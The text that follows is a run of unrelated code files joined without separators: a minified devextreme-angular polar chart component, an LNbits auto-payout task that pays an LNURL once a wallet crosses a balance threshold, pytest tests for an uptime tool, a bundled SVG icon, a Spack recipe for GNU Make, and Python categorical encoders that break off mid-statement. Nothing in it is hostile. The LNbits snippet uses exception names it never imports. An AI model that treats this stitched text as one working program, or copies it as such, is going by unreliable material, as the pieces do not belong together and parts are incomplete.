!function(e,t){"object"==typeof exports&&"undefined"!=typeof module?t(exports,require("@angular/platform-browser"),require("@angular/core"),require("devextreme/viz/polar_chart"),require("devextreme-angular/core"),require("devextreme-angular/ui/nested")):"function"==typeof define&&define.amd?define("devextreme-angular/ui/polar-chart",["exports","@angular/platform-browser","@angular/core","devextreme/viz/polar_chart","devextreme-angular/core","devextreme-angular/ui/nested"],t):t(((e=e||self)["devextreme-angular"]=e["devextreme-angular"]||{},e["devextreme-angular"].ui=e["devextreme-angular"].ui||{},e["devextreme-angular"].ui["polar-chart"]={}),e.ng.platformBrowser,e.ng.core,e.DxPolarChart,e["devextreme-angular"].core,e["devextreme-angular"].ui.nested)}(this,(function(e,t,o,n,i,r){"use strict";n=n&&n.hasOwnProperty("default")?n.default:n; /*! ***************************************************************************** Copyright (c) Microsoft Corporation. All rights reserved. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 THIS CODE IS PROVIDED ON AN *AS IS* BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED, INCLUDING WITHOUT LIMITATION ANY IMPLIED WARRANTIES OR CONDITIONS OF TITLE, FITNESS FOR A PARTICULAR PURPOSE, MERCHANTABLITY OR NON-INFRINGEMENT. See the Apache Version 2.0 License for specific language governing permissions and limitations under the License. ***************************************************************************** */ var p=function(e,t){return(p=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(e,t){e.__proto__=t}||function(e,t){for(var o in t)t.hasOwnProperty(o)&&(e[o]=t[o])})(e,t)};function u(e,t,o,n){var i,r=arguments.length,p=r<3?t:null===n?n=Object.getOwnPropertyDescriptor(t,o):n;if("object"==typeof Reflect&&"function"==typeof Reflect.decorate)p=Reflect.decorate(e,t,o,n);else for(var u=e.length-1;u>=0;u--)(i=e[u])&&(p=(r<3?i(p):r>3?i(t,o,p):i(t,o))||p);return r>3&&p&&Object.defineProperty(t,o,p),p} /*! * devextreme-angular * Version: 19.1.6 * Build date: Tue Oct 22 2019 * * Copyright (c) 2012 - 2019 Developer Express Inc. ALL RIGHTS RESERVED * * This software may be modified and distributed under the terms * of the MIT license. See the LICENSE file in the root of the project for details. * * https://github.com/DevExpress/devextreme-angular */ var a=function(e){function a(t,o,n,i,r,p,u,a){var l=e.call(this,t,o,n,i,u,a)||this;return l._watcherHelper=i,l._idh=r,l._createEventEmitters([{subscribe:"argumentAxisClick",emit:"onArgumentAxisClick"},{subscribe:"disposing",emit:"onDisposing"},{subscribe:"done",emit:"onDone"},{subscribe:"drawn",emit:"onDrawn"},{subscribe:"exported",emit:"onExported"},{subscribe:"exporting",emit:"onExporting"},{subscribe:"fileSaving",emit:"onFileSaving"},{subscribe:"incidentOccurred",emit:"onIncidentOccurred"},{subscribe:"initialized",emit:"onInitialized"},{subscribe:"legendClick",emit:"onLegendClick"},{subscribe:"optionChanged",emit:"onOptionChanged"},{subscribe:"pointClick",emit:"onPointClick"},{subscribe:"pointHoverChanged",emit:"onPointHoverChanged"},{subscribe:"pointSelectionChanged",emit:"onPointSelectionChanged"},{subscribe:"seriesClick",emit:"onSeriesClick"},{subscribe:"seriesHoverChanged",emit:"onSeriesHoverChanged"},{subscribe:"seriesSelectionChanged",emit:"onSeriesSelectionChanged"},{subscribe:"tooltipHidden",emit:"onTooltipHidden"},{subscribe:"tooltipShown",emit:"onTooltipShown"},{emit:"adaptiveLayoutChange"},{emit:"animationChange"},{emit:"argumentAxisChange"},{emit:"barGroupPaddingChange"},{emit:"barGroupWidthChange"},{emit:"barWidthChange"},{emit:"commonAxisSettingsChange"},{emit:"commonSeriesSettingsChange"},{emit:"containerBackgroundColorChange"},{emit:"customizeLabelChange"},{emit:"customizePointChange"},{emit:"dataPrepareSettingsChange"},{emit:"dataSourceChange"},{emit:"disabledChange"},{emit:"elementAttrChange"},{emit:"equalBarWidthChange"},{emit:"exportChange"},{emit:"legendChange"},{emit:"loadingIndicatorChange"},{emit:"marginChange"},{emit:"negativesAsZeroesChange"},{emit:"paletteChange"},{emit:"paletteExtensionModeChange"},{emit:"pathModifiedChange"},{emit:"pointSelectionModeChange"},{emit:"redrawOnResizeChange"},{emit:"resolveLabelOverlappingChange"},{emit:"rtlEnabledChange"},{emit:"seriesChange"},{emit:"seriesSelectionModeChange"},{emit:"seriesTemplateChange"},{emit:"sizeChange"},{emit:"themeChange"},{emit:"titleChange"},{emit:"tooltipChange"},{emit:"useSpiderWebChange"},{emit:"valueAxisChange"}]),l._idh.setHost(l),p.setHost(l),l}var l,s;return function(e,t){function o(){this.constructor=e}p(e,t),e.prototype=null===t?Object.create(t):(o.prototype=t.prototype,new o)}(a,e),Object.defineProperty(a.prototype,"adaptiveLayout",{get:function(){return this._getOption("adaptiveLayout")},set:function(e){this._setOption("adaptiveLayout",e)},enumerable:!0,configurable:!0}),Object.defineProperty(a.prototype,"animation",{get:function(){return this._getOption("animation")},set:function(e){this._setOption("animation",e)},enumerable:!0,configurable:!0}),Object.defineProperty(a.prototype,"argumentAxis",{get:function(){return this._getOption("argumentAxis")},set:function(e){this._setOption("argumentAxis",e)},enumerable:!0,configurable:!0}),Object.defineProperty(a.prototype,"barGroupPadding",{get:function(){return this._getOption("barGroupPadding")},set:function(e){this._setOption("barGroupPadding",e)},enumerable:!0,configurable:!0}),Object.defineProperty(a.prototype,"barGroupWidth",{get:function(){return this._getOption("barGroupWidth")},set:function(e){this._setOption("barGroupWidth",e)},enumerable:!0,configurable:!0}),Object.defineProperty(a.prototype,"barWidth",{get:function(){return this._getOption("barWidth")},set:function(e){this._setOption("barWidth",e)},enumerable:!0,configurable:!0}),Object.defineProperty(a.prototype,"commonAxisSettings",{get:function(){return this._getOption("commonAxisSettings")},set:function(e){this._setOption("commonAxisSettings",e)},enumerable:!0,configurable:!0}),Object.defineProperty(a.prototype,"commonSeriesSettings",{get:function(){return this._getOption("commonSeriesSettings")},set:function(e){this._setOption("commonSeriesSettings",e)},enumerable:!0,configurable:!0}),Object.defineProperty(a.prototype,"containerBackgroundColor",{get:function(){return this._getOption("containerBackgroundColor")},set:function(e){this._setOption("containerBackgroundColor",e)},enumerable:!0,configurable:!0}),Object.defineProperty(a.prototype,"customizeLabel",{get:function(){return this._getOption("customizeLabel")},set:function(e){this._setOption("customizeLabel",e)},enumerable:!0,configurable:!0}),Object.defineProperty(a.prototype,"customizePoint",{get:function(){return this._getOption("customizePoint")},set:function(e){this._setOption("customizePoint",e)},enumerable:!0,configurable:!0}),Object.defineProperty(a.prototype,"dataPrepareSettings",{get:function(){return this._getOption("dataPrepareSettings")},set:function(e){this._setOption("dataPrepareSettings",e)},enumerable:!0,configurable:!0}),Object.defineProperty(a.prototype,"dataSource",{get:function(){return this._getOption("dataSource")},set:function(e){this._setOption("dataSource",e)},enumerable:!0,configurable:!0}),Object.defineProperty(a.prototype,"disabled",{get:function(){return this._getOption("disabled")},set:function(e){this._setOption("disabled",e)},enumerable:!0,configurable:!0}),Object.defineProperty(a.prototype,"elementAttr",{get:function(){return this._getOption("elementAttr")},set:function(e){this._setOption("elementAttr",e)},enumerable:!0,configurable:!0}),Object.defineProperty(a.prototype,"equalBarWidth",{get:function(){return this._getOption("equalBarWidth")},set:function(e){this._setOption("equalBarWidth",e)},enumerable:!0,configurable:!0}),Object.defineProperty(a.prototype,"export",{get:function(){return this._getOption("export")},set:function(e){this._setOption("export",e)},enumerable:!0,configurable:!0}),Object.defineProperty(a.prototype,"legend",{get:function(){return this._getOption("legend")},set:function(e){this._setOption("legend",e)},enumerable:!0,configurable:!0}),Object.defineProperty(a.prototype,"loadingIndicator",{get:function(){return this._getOption("loadingIndicator")},set:function(e){this._setOption("loadingIndicator",e)},enumerable:!0,configurable:!0}),Object.defineProperty(a.prototype,"margin",{get:function(){return this._getOption("margin")},set:function(e){this._setOption("margin",e)},enumerable:!0,configurable:!0}),Object.defineProperty(a.prototype,"negativesAsZeroes",{get:function(){return this._getOption("negativesAsZeroes")},set:function(e){this._setOption("negativesAsZeroes",e)},enumerable:!0,configurable:!0}),Object.defineProperty(a.prototype,"palette",{get:function(){return this._getOption("palette")},set:function(e){this._setOption("palette",e)},enumerable:!0,configurable:!0}),Object.defineProperty(a.prototype,"paletteExtensionMode",{get:function(){return this._getOption("paletteExtensionMode")},set:function(e){this._setOption("paletteExtensionMode",e)},enumerable:!0,configurable:!0}),Object.defineProperty(a.prototype,"pathModified",{get:function(){return this._getOption("pathModified")},set:function(e){this._setOption("pathModified",e)},enumerable:!0,configurable:!0}),Object.defineProperty(a.prototype,"pointSelectionMode",{get:function(){return this._getOption("pointSelectionMode")},set:function(e){this._setOption("pointSelectionMode",e)},enumerable:!0,configurable:!0}),Object.defineProperty(a.prototype,"redrawOnResize",{get:function(){return this._getOption("redrawOnResize")},set:function(e){this._setOption("redrawOnResize",e)},enumerable:!0,configurable:!0}),Object.defineProperty(a.prototype,"resolveLabelOverlapping",{get:function(){return this._getOption("resolveLabelOverlapping")},set:function(e){this._setOption("resolveLabelOverlapping",e)},enumerable:!0,configurable:!0}),Object.defineProperty(a.prototype,"rtlEnabled",{get:function(){return this._getOption("rtlEnabled")},set:function(e){this._setOption("rtlEnabled",e)},enumerable:!0,configurable:!0}),Object.defineProperty(a.prototype,"series",{get:function(){return this._getOption("series")},set:function(e){this._setOption("series",e)},enumerable:!0,configurable:!0}),Object.defineProperty(a.prototype,"seriesSelectionMode",{get:function(){return this._getOption("seriesSelectionMode")},set:function(e){this._setOption("seriesSelectionMode",e)},enumerable:!0,configurable:!0}),Object.defineProperty(a.prototype,"seriesTemplate",{get:function(){return this._getOption("seriesTemplate")},set:function(e){this._setOption("seriesTemplate",e)},enumerable:!0,configurable:!0}),Object.defineProperty(a.prototype,"size",{get:function(){return this._getOption("size")},set:function(e){this._setOption("size",e)},enumerable:!0,configurable:!0}),Object.defineProperty(a.prototype,"theme",{get:function(){return this._getOption("theme")},set:function(e){this._setOption("theme",e)},enumerable:!0,configurable:!0}),Object.defineProperty(a.prototype,"title",{get:function(){return this._getOption("title")},set:function(e){this._setOption("title",e)},enumerable:!0,configurable:!0}),Object.defineProperty(a.prototype,"tooltip",{get:function(){return this._getOption("tooltip")},set:function(e){this._setOption("tooltip",e)},enumerable:!0,configurable:!0}),Object.defineProperty(a.prototype,"useSpiderWeb",{get:function(){return this._getOption("useSpiderWeb")},set:function(e){this._setOption("useSpiderWeb",e)},enumerable:!0,configurable:!0}),Object.defineProperty(a.prototype,"valueAxis",{get:function(){return this._getOption("valueAxis")},set:function(e){this._setOption("valueAxis",e)},enumerable:!0,configurable:!0}),Object.defineProperty(a.prototype,"seriesChildren",{get:function(){return this._getOption("series")},set:function(e){this.setChildren("series",e)},enumerable:!0,configurable:!0}),a.prototype._createInstance=function(e,t){return new n(e,t)},a.prototype.ngOnDestroy=function(){this._destroyWidget()},a.prototype.ngOnChanges=function(t){e.prototype.ngOnChanges.call(this,t),this.setupChanges("dataSource",t),this.setupChanges("palette",t),this.setupChanges("series",t)},a.prototype.setupChanges=function(e,t){e in this._optionsToUpdate||this._idh.setup(e,t)},a.prototype.ngDoCheck=function(){this._idh.doCheck("dataSource"),this._idh.doCheck("palette"),this._idh.doCheck("series"),this._watcherHelper.checkWatchers(),e.prototype.ngDoCheck.call(this),e.prototype.clearChangedOptions.call(this)},a.prototype._setOption=function(t,o){var n=this._idh.setupSingle(t,o),i=null!==this._idh.getChanges(t,o);(n||i)&&e.prototype._setOption.call(this,t,o)},a.ctorParameters=function(){return[{type:o.ElementRef},{type:o.NgZone},{type:i.DxTemplateHost},{type:i.WatcherHelper},{type:i.IterableDifferHelper},{type:i.NestedOptionHost},{type:t.TransferState},{type:void 0,decorators:[{type:o.Inject,args:[o.PLATFORM_ID]}]}]},u([o.Input()],a.prototype,"adaptiveLayout",null),u([o.Input()],a.prototype,"animation",null),u([o.Input()],a.prototype,"argumentAxis",null),u([o.Input()],a.prototype,"barGroupPadding",null),u([o.Input()],a.prototype,"barGroupWidth",null),u([o.Input()],a.prototype,"barWidth",null),u([o.Input()],a.prototype,"commonAxisSettings",null),u([o.Input()],a.prototype,"commonSeriesSettings",null),u([o.Input()],a.prototype,"containerBackgroundColor",null),u([o.Input()],a.prototype,"customizeLabel",null),u([o.Input()],a.prototype,"customizePoint",null),u([o.Input()],a.prototype,"dataPrepareSettings",null),u([o.Input()],a.prototype,"dataSource",null),u([o.Input()],a.prototype,"disabled",null),u([o.Input()],a.prototype,"elementAttr",null),u([o.Input()],a.prototype,"equalBarWidth",null),u([o.Input()],a.prototype,"export",null),u([o.Input()],a.prototype,"legend",null),u([o.Input()],a.prototype,"loadingIndicator",null),u([o.Input()],a.prototype,"margin",null),u([o.Input()],a.prototype,"negativesAsZeroes",null),u([o.Input()],a.prototype,"palette",null),u([o.Input()],a.prototype,"paletteExtensionMode",null),u([o.Input()],a.prototype,"pathModified",null),u([o.Input()],a.prototype,"pointSelectionMode",null),u([o.Input()],a.prototype,"redrawOnResize",null),u([o.Input()],a.prototype,"resolveLabelOverlapping",null),u([o.Input()],a.prototype,"rtlEnabled",null),u([o.Input()],a.prototype,"series",null),u([o.Input()],a.prototype,"seriesSelectionMode",null),u([o.Input()],a.prototype,"seriesTemplate",null),u([o.Input()],a.prototype,"size",null),u([o.Input()],a.prototype,"theme",null),u([o.Input()],a.prototype,"title",null),u([o.Input()],a.prototype,"tooltip",null),u([o.Input()],a.prototype,"useSpiderWeb",null),u([o.Input()],a.prototype,"valueAxis",null),u([o.Output()],a.prototype,"onArgumentAxisClick",void 0),u([o.Output()],a.prototype,"onDisposing",void 0),u([o.Output()],a.prototype,"onDone",void 0),u([o.Output()],a.prototype,"onDrawn",void 0),u([o.Output()],a.prototype,"onExported",void 0),u([o.Output()],a.prototype,"onExporting",void 0),u([o.Output()],a.prototype,"onFileSaving",void 0),u([o.Output()],a.prototype,"onIncidentOccurred",void 0),u([o.Output()],a.prototype,"onInitialized",void 0),u([o.Output()],a.prototype,"onLegendClick",void 0),u([o.Output()],a.prototype,"onOptionChanged",void 0),u([o.Output()],a.prototype,"onPointClick",void 0),u([o.Output()],a.prototype,"onPointHoverChanged",void 0),u([o.Output()],a.prototype,"onPointSelectionChanged",void 0),u([o.Output()],a.prototype,"onSeriesClick",void 0),u([o.Output()],a.prototype,"onSeriesHoverChanged",void 0),u([o.Output()],a.prototype,"onSeriesSelectionChanged",void 0),u([o.Output()],a.prototype,"onTooltipHidden",void 0),u([o.Output()],a.prototype,"onTooltipShown",void 0),u([o.Output()],a.prototype,"adaptiveLayoutChange",void 0),u([o.Output()],a.prototype,"animationChange",void 0),u([o.Output()],a.prototype,"argumentAxisChange",void 0),u([o.Output()],a.prototype,"barGroupPaddingChange",void 0),u([o.Output()],a.prototype,"barGroupWidthChange",void 0),u([o.Output()],a.prototype,"barWidthChange",void 0),u([o.Output()],a.prototype,"commonAxisSettingsChange",void 0),u([o.Output()],a.prototype,"commonSeriesSettingsChange",void 0),u([o.Output()],a.prototype,"containerBackgroundColorChange",void 0),u([o.Output()],a.prototype,"customizeLabelChange",void 0),u([o.Output()],a.prototype,"customizePointChange",void 0),u([o.Output()],a.prototype,"dataPrepareSettingsChange",void 0),u([o.Output()],a.prototype,"dataSourceChange",void 0),u([o.Output()],a.prototype,"disabledChange",void 0),u([o.Output()],a.prototype,"elementAttrChange",void 0),u([o.Output()],a.prototype,"equalBarWidthChange",void 0),u([o.Output()],a.prototype,"exportChange",void 0),u([o.Output()],a.prototype,"legendChange",void 0),u([o.Output()],a.prototype,"loadingIndicatorChange",void 0),u([o.Output()],a.prototype,"marginChange",void 0),u([o.Output()],a.prototype,"negativesAsZeroesChange",void 0),u([o.Output()],a.prototype,"paletteChange",void 0),u([o.Output()],a.prototype,"paletteExtensionModeChange",void 0),u([o.Output()],a.prototype,"pathModifiedChange",void 0),u([o.Output()],a.prototype,"pointSelectionModeChange",void 0),u([o.Output()],a.prototype,"redrawOnResizeChange",void 0),u([o.Output()],a.prototype,"resolveLabelOverlappingChange",void 0),u([o.Output()],a.prototype,"rtlEnabledChange",void 0),u([o.Output()],a.prototype,"seriesChange",void 0),u([o.Output()],a.prototype,"seriesSelectionModeChange",void 0),u([o.Output()],a.prototype,"seriesTemplateChange",void 0),u([o.Output()],a.prototype,"sizeChange",void 0),u([o.Output()],a.prototype,"themeChange",void 0),u([o.Output()],a.prototype,"titleChange",void 0),u([o.Output()],a.prototype,"tooltipChange",void 0),u([o.Output()],a.prototype,"useSpiderWebChange",void 0),u([o.Output()],a.prototype,"valueAxisChange",void 0),u([o.ContentChildren(r.DxiSeriesComponent)],a.prototype,"seriesChildren",null),a=u([o.Component({selector:"dx-polar-chart",template:"",providers:[i.DxTemplateHost,i.WatcherHelper,i.NestedOptionHost,i.IterableDifferHelper],styles:[" :host { display: block; }"]}),(l=7,s=o.Inject(o.PLATFORM_ID),function(e,t){s(e,t,l)})],a)}(i.DxComponent),l=function(){function e(){}return e=u([o.NgModule({imports:[r.DxoAdaptiveLayoutModule,r.DxoAnimationModule,r.DxoArgumentAxisModule,r.DxiConstantLineModule,r.DxoLabelModule,r.DxoFontModule,r.DxoConstantLineStyleModule,r.DxoGridModule,r.DxoFormatModule,r.DxoMinorGridModule,r.DxoMinorTickModule,r.DxoMinorTickIntervalModule,r.DxiStripModule,r.DxoStripStyleModule,r.DxoTickModule,r.DxoTickIntervalModule,r.DxoCommonAxisSettingsModule,r.DxoCommonSeriesSettingsModule,r.DxoAreaModule,r.DxoBorderModule,r.DxoHoverStyleModule,r.DxoHatchingModule,r.DxoConnectorModule,r.DxoPointModule,r.DxoImageModule,r.DxoSelectionStyleModule,r.DxoValueErrorBarModule,r.DxoBarModule,r.DxoArgumentFormatModule,r.DxoLineModule,r.DxoScatterModule,r.DxoStackedbarModule,r.DxoDataPrepareSettingsModule,r.DxoExportModule,r.DxoLegendModule,r.DxoMarginModule,r.DxoTitleModule,r.DxoSubtitleModule,r.DxoLoadingIndicatorModule,r.DxiSeriesModule,r.DxoSeriesTemplateModule,r.DxoSizeModule,r.DxoTooltipModule,r.DxoShadowModule,r.DxoValueAxisModule,i.DxIntegrationModule,i.DxTemplateModule,t.BrowserTransferStateModule],declarations:[a],exports:[a,r.DxoAdaptiveLayoutModule,r.DxoAnimationModule,r.DxoArgumentAxisModule,r.DxiConstantLineModule,r.DxoLabelModule,r.DxoFontModule,r.DxoConstantLineStyleModule,r.DxoGridModule,r.DxoFormatModule,r.DxoMinorGridModule,r.DxoMinorTickModule,r.DxoMinorTickIntervalModule,r.DxiStripModule,r.DxoStripStyleModule,r.DxoTickModule,r.DxoTickIntervalModule,r.DxoCommonAxisSettingsModule,r.DxoCommonSeriesSettingsModule,r.DxoAreaModule,r.DxoBorderModule,r.DxoHoverStyleModule,r.DxoHatchingModule,r.DxoConnectorModule,r.DxoPointModule,r.DxoImageModule,r.DxoSelectionStyleModule,r.DxoValueErrorBarModule,r.DxoBarModule,r.DxoArgumentFormatModule,r.DxoLineModule,r.DxoScatterModule,r.DxoStackedbarModule,r.DxoDataPrepareSettingsModule,r.DxoExportModule,r.DxoLegendModule,r.DxoMarginModule,r.DxoTitleModule,r.DxoSubtitleModule,r.DxoLoadingIndicatorModule,r.DxiSeriesModule,r.DxoSeriesTemplateModule,r.DxoSizeModule,r.DxoTooltipModule,r.DxoShadowModule,r.DxoValueAxisModule,i.DxTemplateModule]})],e)}();e.DxPolarChartComponent=a,e.DxPolarChartModule=l,Object.defineProperty(e,"__esModule",{value:!0})})); //# sourceMappingURL=devextreme-angular-ui-polar-chart.umd.min.js.map
import asyncio import json import httpx from lnbits.core import db as core_db from lnbits.core.models import Payment from lnbits.tasks import register_invoice_listener from lnbits.core.views.api import api_wallet from lnbits.core.crud import get_wallet from lnbits.core.views.api import api_payment, api_payments_decode, pay_invoice from .crud import get_lnurlpayout, get_lnurlpayout_from_wallet async def wait_for_paid_invoices(): invoice_queue = asyncio.Queue() register_invoice_listener(invoice_queue) while True: payment = await invoice_queue.get() await on_invoice_paid(payment) async def on_invoice_paid(payment: Payment) -> None: try: # Check its got a payout associated with it lnurlpayout_link = await get_lnurlpayout_from_wallet(payment.wallet_id) if lnurlpayout_link: # Check the wallet balance is more than the threshold wallet = await get_wallet(lnurlpayout_link.wallet) if wallet.balance < lnurlpayout_link.threshold + (lnurlpayout_link.threshold*0.02): return # Get the invoice from the LNURL to pay async with httpx.AsyncClient() as client: try: url = await api_payments_decode({"data": lnurlpayout_link.lnurlpay}) if str(url["domain"])[0:4] != "http": raise HTTPException(status_code=HTTPStatus.FORBIDDEN, detail="LNURL broken") try: r = await client.get( str(url["domain"]), timeout=40, ) res = r.json() try: r = await client.get( res["callback"] + "?amount=" + str(int((wallet.balance - wallet.balance*0.02) * 1000)), timeout=40, ) res = r.json() try: await pay_invoice( wallet_id=payment.wallet_id, payment_request=res["pr"], extra={"tag": "lnurlpayout"}, ) return except: pass except: return except (httpx.ConnectError, httpx.RequestError): return except Exception: raise HTTPException(status_code=HTTPStatus.FORBIDDEN, detail="Failed to save LNURLPayout") except: return
import logging import pytest from uptimer.main import main def test_main_func(mocker, log): loader = mocker.patch("uptimer.main.load_plugin") processor = mocker.patch("uptimer.main.static_reader_writer_processor") main() assert len(log.events) > 0 assert log.has("Starting uptimer") loader.assert_called_once_with("writers.stdout") processor.assert_called_once_with(loader(), "some.plugin") def test_main_func_with_queue_plugin(mocker, conf_override): conf_override("QUEUE_PLUGIN", "my.favorite.queue.plugin") loader = mocker.patch("uptimer.main.load_plugin") processor = mocker.patch("uptimer.main.queue_processor") static_processor = mocker.patch("uptimer.main.static_reader_writer_processor") main() loader.assert_called_once_with("writers.stdout") processor.assert_called_once_with(loader(), "my.favorite.queue.plugin") static_processor.assert_not_called() def test_main_with_exception_before_loop(mocker): register_handlers = mocker.patch( "uptimer.main.register_handlers", side_effect=Exception ) with pytest.raises(Exception): main() register_handlers.assert_called_once() def test_main_with_log_level(mocker, conf_override): mocker.patch("uptimer.main.load_plugin") mocker.patch("uptimer.main.queue_processor") mocker.patch("uptimer.main.static_reader_writer_processor") mocker.patch("uptimer.main.register_handlers") main() assert logging.root.level == logging.WARNING conf_override("LOG_LEVEL", "debug") from uptimer.core.logging import setup_logging setup_logging() assert logging.root.level == logging.DEBUG
(window.webpackJsonp=window.webpackJsonp||[]).push([[138],{3676:function(t,e,r){"use strict";r.r(e),r.d(e,"icon",(function(){return i}));r(6),r(7);var n=r(0);function l(){return(l=Object.assign||function(t){for(var e=1;e<arguments.length;e++){var r=arguments[e];for(var n in r)Object.prototype.hasOwnProperty.call(r,n)&&(t[n]=r[n])}return t}).apply(this,arguments)}function a(t,e){if(null==t)return{};var r,n,l=function(t,e){if(null==t)return{};var r,n,l={},a=Object.keys(t);for(n=0;n<a.length;n++)r=a[n],e.indexOf(r)>=0||(l[r]=t[r]);return l}(t,e);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(t);for(n=0;n<a.length;n++)r=a[n],e.indexOf(r)>=0||Object.prototype.propertyIsEnumerable.call(t,r)&&(l[r]=t[r])}return l}var i=function(t){var e=t.title,r=t.titleId,i=a(t,["title","titleId"]);return n.createElement("svg",l({width:16,height:16,viewBox:"0 0 16 16",xmlns:"http://www.w3.org/2000/svg","aria-labelledby":r},i),e?n.createElement("title",{id:r},e):null,n.createElement("path",{d:"M8 16A8 8 0 118 0a8 8 0 010 16zm0-1.067A6.933 6.933 0 108 1.067a6.933 6.933 0 000 13.866zM5.333 6.4a1.067 1.067 0 110-2.133 1.067 1.067 0 010 2.133zm5.334 0a1.067 1.067 0 110-2.133 1.067 1.067 0 010 2.133zM3.2 10.667a.533.533 0 010-1.067h9.6a.533.533 0 110 1.067H3.2z",fillRule:"evenodd"}))}}}]); //# sourceMappingURL=icon.faceNeutral-js.min.js.map
# Copyright 2013-2019 Lawrence Livermore National Security, LLC and other # Spack Project Developers. See the top-level COPYRIGHT file for details. # # SPDX-License-Identifier: (Apache-2.0 OR MIT) from spack import * class Gmake(AutotoolsPackage): """GNU Make is a tool which controls the generation of executables and other non-source files of a program from the program's source files.""" homepage = "https://www.gnu.org/software/make/" url = "https://ftpmirror.gnu.org/make/make-4.2.1.tar.gz" version('4.2.1', '7d0dcb6c474b258aab4d54098f2cf5a7') version('4.0', 'b5e558f981326d9ca1bfdb841640721a') variant('guile', default=False, description='Support GNU Guile for embedded scripting') variant('nls', default=True, description='Enable Native Language Support') depends_on('gettext', when='+nls') depends_on('guile', when='+guile') build_directory = 'spack-build' patch('https://src.fedoraproject.org/rpms/make/raw/519a7c5bcbead22e6ea2d2c2341d981ef9e25c0d/f/make-4.2.1-glob-fix-2.patch', level=1, sha256='fe5b60d091c33f169740df8cb718bf4259f84528b42435194ffe0dd5b79cd125', when='@4.2.1') patch('https://src.fedoraproject.org/rpms/make/raw/519a7c5bcbead22e6ea2d2c2341d981ef9e25c0d/f/make-4.2.1-glob-fix-3.patch', level=1, sha256='ca60bd9c1a1b35bc0dc58b6a4a19d5c2651f7a94a4b22b2c5ea001a1ca7a8a7f', when='@:4.2.1') def configure_args(self): args = [] if '+guile' in self.spec: args.append('--with-guile') else: args.append('--without-guile') if '+nls' in self.spec: args.append('--enable-nls') else: args.append('--disable-nls') return args @run_after('install') def symlink_gmake(self): with working_dir(self.prefix.bin): symlink('make', 'gmake')
from logging import getLogger import numpy as np from scipy import sparse from sklearn import base from sklearn.model_selection import KFold import pandas as pd from tensorflow.keras.callbacks import EarlyStopping, ReduceLROnPlateau from tensorflow.keras.layers import Embedding, Dense, Dropout, Input, Reshape, Concatenate, BatchNormalization from tensorflow.keras.metrics import AUC from tensorflow.keras.models import Model from tensorflow.keras.optimizers import Adam from .const import EMBEDDING_SUFFIX, MIN_EMBEDDING, NAN_INT logger = getLogger(__name__) kfold = KFold(n_splits=5, shuffle=True, random_state=42) class LabelEncoder(base.BaseEstimator): """Label Encoder that groups infrequent values into one label. Attributes: min_obs (int): minimum number of observation to assign a label. label_encoders (list of dict): label encoders for columns label_maxes (list of int): maximum of labels for columns """ def __init__(self, min_obs=10): """Initialize the OneHotEncoder class object. Args: min_obs (int): minimum number of observation to assign a label. """ self.min_obs = min_obs self.is_fitted = False def __repr__(self): return ('LabelEncoder(min_obs={})').format(self.min_obs) def _get_label_encoder_and_max(self, x): """Return a mapping from values and its maximum of a column to integer labels. Args: x (pandas.Series): a categorical column to encode. Returns: (tuple): - (dict): mapping from values of features to integers - (int): maximum label """ # NaN cannot be used as a key for dict. Impute it with a random # integer. label_count = x.fillna(NAN_INT).value_counts() n_uniq = label_count.shape[0] label_count = label_count[label_count >= self.min_obs] n_uniq_new = label_count.shape[0] # If every label appears more than min_obs, new label starts from 0. # Otherwise, new label starts from 1 and 0 is used for all old labels # that appear less than min_obs. offset = 0 if n_uniq == n_uniq_new else 1 label_encoder = pd.Series(np.arange(n_uniq_new) + offset, index=label_count.index) max_label = label_encoder.max() label_encoder = label_encoder.to_dict() return label_encoder, max_label def _transform_col(self, x, i): """Encode one categorical column into labels. Args: x (pandas.Series): a categorical column to encode i (int): column index Returns: (pandas.Series): a column with labels. """ return x.fillna(NAN_INT).map(self.label_encoders[i]).fillna(0).astype(int) def fit(self, X, y=None): self.label_encoders = [None] * X.shape[1] self.label_maxes = [None] * X.shape[1] for i, col in enumerate(X.columns): self.label_encoders[i], self.label_maxes[i] = \ self._get_label_encoder_and_max(X[col]) self.is_fitted = True return self def transform(self, X): """Encode categorical columns into label encoded columns Args: X (pandas.DataFrame): categorical columns to encode Returns: (pandas.DataFrame): label encoded columns """ assert self.is_fitted, "fit() or fit_transform() must be called before transform()." X = X.copy() for i, col in enumerate(X.columns): X.loc[:, col] = self._transform_col(X[col], i) return X def fit_transform(self, X, y=None): """Encode categorical columns into label encoded columns Args: X (pandas.DataFrame): categorical columns to encode Returns: (pandas.DataFrame): label encoded columns """ self.label_encoders = [None] * X.shape[1] self.label_maxes = [None] * X.shape[1] X = X.copy() for i, col in enumerate(X.columns): self.label_encoders[i], self.label_maxes[i] = \ self._get_label_encoder_and_max(X[col]) X.loc[:, col] = (X[col].fillna(NAN_INT) .map(self.label_encoders[i]) .fillna(0).astype(int)) self.is_fitted = True return X class OneHotEncoder(base.BaseEstimator): """One-Hot-Encoder that groups infrequent values into one dummy variable. Attributes: min_obs (int): minimum number of observation to create a dummy variable label_encoders (list of (dict, int)): label encoders and their maximums for columns """ def __init__(self, min_obs=10): """Initialize the OneHotEncoder class object. Args: min_obs (int): minimum number of observations required to create a dummy variable label_encoder (LabelEncoder): LabelEncoder that transofrm """ self.min_obs = min_obs self.label_encoder = LabelEncoder(min_obs) self.is_fitted = False def __repr__(self): return ('OneHotEncoder(min_obs={})').format(self.min_obs) def _transform_col(self, x, i): """Encode one categorical column into sparse matrix with one-hot-encoding. Args: x (pandas.Series): a categorical column to encode i (int): column index Returns: (scipy.sparse.coo_matrix): sparse matrix encoding a categorical variable into dummy variables """ labels = self.label_encoder._transform_col(x, i) label_max = self.label_encoder.label_maxes[i] # build row and column index for non-zero values of a sparse matrix index = np.array(range(len(labels))) i = index[labels > 0] j = labels[labels > 0] - 1 # column index starts from 0 if len(i) > 0: return sparse.coo_matrix((np.ones_like(i), (i, j)), shape=(x.shape[0], label_max)) else: # if there is no non-zero value, return no matrix return None def fit(self, X, y=None): self.label_encoder.fit(X) self.is_fitted = True return self def transform(self, X): """Encode categorical columns into sparse matrix with one-hot-encoding. Args: X (pandas.DataFrame): categorical columns to encode Returns: (scipy.sparse.coo_matrix): sparse matrix encoding categorical variables into dummy variables """ assert self.is_fitted, "fit() or fit_transform() must be called before transform()." for i, col in enumerate(X.columns): X_col = 